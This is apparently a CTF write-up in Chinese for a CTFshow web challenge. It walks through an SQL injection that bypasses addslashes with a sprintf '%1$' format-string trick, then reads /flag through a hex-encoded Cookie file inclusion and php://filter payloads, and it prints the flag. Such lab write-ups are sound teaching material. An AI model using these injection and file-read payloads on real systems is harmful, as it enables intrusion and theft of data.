CTFshow WEB 萌新赛 给她
-
题目名称类似git,猜测有信息泄露,使用scrabble,得到hint.php
<?php $pass=sprintf("and pass='%s'",addslashes($_GET['pass'])); $sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name'])); ?>
-
可以看出本题使用
addslashes
函数进行过滤,这里需要利用sprintf
的一个漏洞sprintf
函数使用switch case
对15种类型做了匹配,包括%s、%d、%u…但如果在15种类型之外就会直接break。当我们输入
%\
或%1$\
时,sprintf
会把反斜杠当做格式化字符串的类型,但他们并不在15种类型之中,就会未经任何处理而被替换为空具体漏洞可见 php sprintf 漏洞
此时提交
?name=1&pass=%1$' or 1=1--+
即可实现绕过,进入下一关。
-
F12查看源码,发现一段注释
<!--flag in /flag -->
但直接访问无果
-
抓包,刷新后在Cookie中发现file
GET /wjbh.php HTTP/1.1 Host: 855d98bb-ba28-4989-a6e5-fc448a074d7c.challenge.ctf.show Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://855d98bb-ba28-4989-a6e5-fc448a074d7c.challenge.ctf.show/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: file=666c61672e747874 Connection: close
16进制转字符串后得到
flag.txt
直接访问,回显
There's nothing here
猜测flag.txt被wjbh.php文件包含或文件读取
-
尝试将Cookie中的file赋值为/flag,即
Cookie: file=2f666c6167
回显
ctfshow{cd6d15fb-ac46-436c-95dd-be2f4bef0ae5}
更多方法:
-
尝试使用PHP伪协议读取flag文件内容
php://filter/convert.base64-encode/source=/flag Cookie: file=7068703a2f2f66696c7465722f636f6e766572742e6261736536342d656e636f64652f736f757263653d2f666c6167
回显
not has base64
-
尝试rot13
php://filter/read=string.toupper|string.rot13/resource=/flag Cookie: file=7068703a2f2f66696c7465722f726561643d737472696e672e746f75707065727c737472696e672e726f7431332f7265736f757263653d2f666c6167
回显
PGSFUBJ{PQ6Q15SO-NP46-436P-95QQ-OR2S4ORS0NR5}
解码后得到
CTFSHOW{CD6D15FB-AC46-436C-95DD-BE2F4BEF0AE5}
再将其转为小写即可